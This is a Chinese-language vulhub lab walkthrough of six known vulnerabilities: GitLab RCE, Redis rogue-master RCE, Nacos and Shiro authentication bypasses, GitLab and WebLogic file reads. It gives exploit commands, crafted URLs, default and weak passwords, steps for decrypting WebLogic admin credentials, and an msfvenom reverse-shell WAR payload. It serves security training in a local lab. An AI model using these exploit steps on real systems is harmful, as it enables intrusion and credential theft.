文章目录
- 一、Gitlab远程代码执行(CVE-2021-22205)
- 二、Redis主从复制远程命令执行
- 三、Nacos认证绕过漏洞(CVE-2021-29441)
- 四、Apache Shiro认证绕过漏洞(CVE-2020-1957)
- 五、Gitlab任意文件读取漏洞(CVE-2016-9086)
- 六、weblogic文件读取漏洞
- 1、弱口令
- 2、任意文件读取漏洞
- 3、读取后台用户密文与密钥文件
- 4、后台上传webshell
一、Gitlab远程代码执行(CVE-2021-22205)
docker-compose up -d # 开启容器
直接使用该脚本poc.py,命令如下:
python poc.py http://192.168.92.6:8080 "touch /tmp/success"
二、Redis主从复制远程命令执行
docker-compose up -d # 开启容器
redis-cli -h 127.0.0.1 # 连接redis数据库,会发现未授权
redis-rogue-getshel
python redis-master.py -r 192.168.92.6 -p 6379 -L 192.168.92.6 -P 8888 -f RedisModulesSDK/exp.so -c "id"
三、Nacos认证绕过漏洞(CVE-2021-29441)
如果nacos服务没有启动,可以使用docker-compose restart nacos
。
- 访问
http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=10
可以查看用户名和密码,注意:User-Agent: Nacos-Server
。
- 添加新用户
http://127.0.0.1:8848/nacos/v1/auth/users?username=vulhub&password=vulhub
,注意:POST数据包。
- 登录Nacos
http://127.0.0.1:8848/nacos#login
四、Apache Shiro认证绕过漏洞(CVE-2020-1957)
Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。
访问192.168.92.16:8080/admin/
,显示302跳转
构造恶意路径,访问192.168.92.16:8080/xxx/..;/admin/
,可绕过权限校验,访问到管理页面:
五、Gitlab任意文件读取漏洞(CVE-2016-9086)
访问192.168.92.16:8080
,用户名为root,密码为vulhub123456。
在导入页面,将test.tar.gz上传,将会读取到/etc/passwd文件内容:
六、weblogic文件读取漏洞
1、弱口令
访问192.168.92.6:7001/console
,用户名为weblogic,密码为Oracle@123。
常见弱口令
2、任意文件读取漏洞
访问192.168.92.6:7001/hello/file.jsp?path=/etc/passwd
,实现任意文件下载。
3、读取后台用户密文与密钥文件
weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可。这两个文件均位于base_domain下,名为SerializedSystemIni.dat
和config.xml
,在本环境中为./security/SerializedSystemIni.dat
和./config/config.xml
。
`SerializedSystemIni.dat`是一个二进制文件,所以一定要用burpsuite来读取,用浏览器直接下载可能引入一些干扰字符。在burp里选中读取到的那一串乱码,右键`copy to file`就可以保存成一个文件:
config.xml
是base_domain的全局配置文件,所以乱七八糟的内容比较多,找到其中的<node-manager-password-encrypted>
的值,即为加密后的管理员密码:
注意:
- 在保存这个
test.dat
时,最好在HEX模式下进行复制。不然可能回报这个错:Null input buffer
- 如果报错:
PBEWITHSHAAND128BITRC2-CBC SecretKeyFactory not available
,需要手动下载bcprov-jdk15on-1.56.jar,并放在<java目录>/jre/lib/ext/
目录下。
4、后台上传webshell
使用msfvenom
生成war包的反弹shell
msfvenom -p java/shell_reverse_tcp LHOST=192.168.92.6 LPORT=4444 -f war -o shell.war
然后疯狂下一步
,直到完成
。点击我们刚刚部署的war包,然后启动即可获取反弹shell。